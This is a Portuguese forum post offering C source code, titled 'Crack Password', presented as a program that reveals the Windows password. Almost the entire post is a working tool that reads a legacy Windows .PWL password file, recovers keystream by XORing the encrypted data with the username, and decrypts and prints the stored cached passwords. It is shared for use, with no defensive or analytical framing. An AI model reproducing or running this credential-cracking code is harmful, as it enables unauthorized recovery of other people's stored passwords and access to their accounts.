Olá pessoal quero compartilhar com vocês um código-fonte de um programa que revela a senha do Windows.
Crack Password.
Bom espero que gostem.
WCG 147
Crack Password.
Código:
# include<stdio.h> # include<stdio.h> # include<process.h> # include<stdlib.h> # include<ctype.h> # include<conio.h> # include<mem.h> unsigned char huge Data[100001]; /* WCG 147 */ unsigned char keystream[1001]; int Rpoint[300]; void main(int argc,char *argv[]){ FILE *fd; int i,j; int size; char ch; char *name; int cracked; int sizemask; int maxr; int rsz; int pos; int Rall[300]; /* Tabela de alocação de recursos */ if(argc<2) { printf("Use: glide nome (username)"); exit(1); } /* Ler o arquivo PWL */ fd=fopen(argv[1],"rb"); if(fd==NULL) { printf("Não pode abrir arquivo %s",argv[1]); exit(1); } size=0; while(!feof(fd)){ Data[size++]=fgetc(fd); } size--; fclose(fd); /* Encontrar nome de usuário */ name=argv[1]; if(argc>2)name=argv[2]; printf("Nome de usuário:%s",name); /* Copiar o texto criptografado em keystream. */ cracked=size-0x0208; if(cracked<0)cracked=0; if(cracked>1000)cracked=1000; memcpy(keystream,Data+0x208,cracked); /* Gerar 20 bytes de keystream. */ for(i=0;i<20;i++) { ch=toupper(name[i]); if(ch==0)break; if(ch=='.')break; keystream[i]^=ch; }; cracked=20; /* Encontrar recursos alocados. */ sizemask=keystream[0]+(keystream[1]<<8); printf("Sizemask:%04X",sizemask); for(i=0;i<256;i++) { if(Data[i]!=0xff) { Rall[Data[i]]++; if(Data[i]>maxr) maxr=Data[i]; } } maxr=(((maxr/16)+1)*16); /* Recurso do tamanho da tabela, ponteiro parece ser divisível por 16 */ /*Pesquisa por recursos. */ Rpoint[0]=0x0208+2*maxr+20+2; /* Primeiros recursos */ for(i=0;i<maxr;i++) { /* Encontrar o tamanho da resource atual. */ pos=Rpoint[i]; rsz=Data[pos]+(Data[pos+1]<<8); rsz^=sizemask; printf("Analisando com o tamanho do bloco:%04x (%d:%d)",rsz,i,Rall[i]); if((Rall[i]==0)&&(rsz!=0)) { printf("Resourse não utilizado tem tamanho diferente de zero!"); printf("Se a última linha qualquer produzida: U pode tentar recuperar dois arquivos"); printf("Pressione y para iniciar recuperação"); ch=getch(); if(ch!='y')exit(0); rsz=2; i=i-1; } pos=pos+rsz; /* Resource tem o tamanho errado por algum motivo.*/ /* Verifique se o tamanho está correto.*/ if(i<maxr-1) { while(Data[pos+3]!=keystream[1]) { printf(":",Data[pos+3]); pos=pos+2; /* Muito rude, pode falhar. */ } } pos+=2; /* Ponteiro para incluir tamanho. */ Rpoint[i+1]=pos; } Rpoint[maxr]=size; /* Inserir dados em tabela keystream.*/ for(i=0;i<=maxr;i++) { keystream[20+2*i]^=Rpoint[i] & 0x00ff; keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff; } cracked+=maxr*2+2; printf("%d Bytes de ketstream recuperado ",cracked); /* Descriptografar recursos. */ for(i=0;i<maxr;i++) { rsz=Rpoint[i+1]-Rpoint[i]; if(rsz>cracked) rsz=cracked; printf("Recurso[%d](%d)",i,rsz); for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]); printf(""); } exit(0); }
Bom espero que gostem.
WCG 147
Comment